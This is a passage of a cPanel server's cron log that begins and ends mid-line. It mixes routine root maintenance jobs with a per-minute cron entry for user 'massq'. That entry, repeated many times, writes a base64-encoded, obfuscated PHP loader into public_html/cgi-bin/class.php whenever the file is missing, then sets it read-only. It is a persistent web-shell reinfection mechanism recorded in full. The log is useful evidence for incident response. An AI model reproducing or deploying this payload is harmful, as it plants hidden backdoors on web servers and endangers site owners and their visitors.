"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:25:01 server CROND[7691]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  8 10:25:01 server CROND[7690]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 10:26:01 server CROND[7818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:27:01 server CROND[7885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:27:01 server CROND[7886]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 10:28:01 server CROND[7951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:29:01 server CROND[8022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:30:01 server CROND[8235]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 10:30:01 server CROND[8236]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 10:30:01 server CROND[8237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 10:30:01 server CROND[8238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:31:01 server CROND[8372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:32:01 server CROND[8439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:33:01 server CROND[8511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:34:01 server CROND[8593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:35:01 server CROND[8773]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 10:35:01 server CROND[8774]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 10:35:01 server CROND[8775]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 10:35:01 server CROND[8772]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 10:35:01 server CROND[8787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:36:01 server CROND[8916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:37:01 server CROND[8983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:38:01 server CROND[9050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQ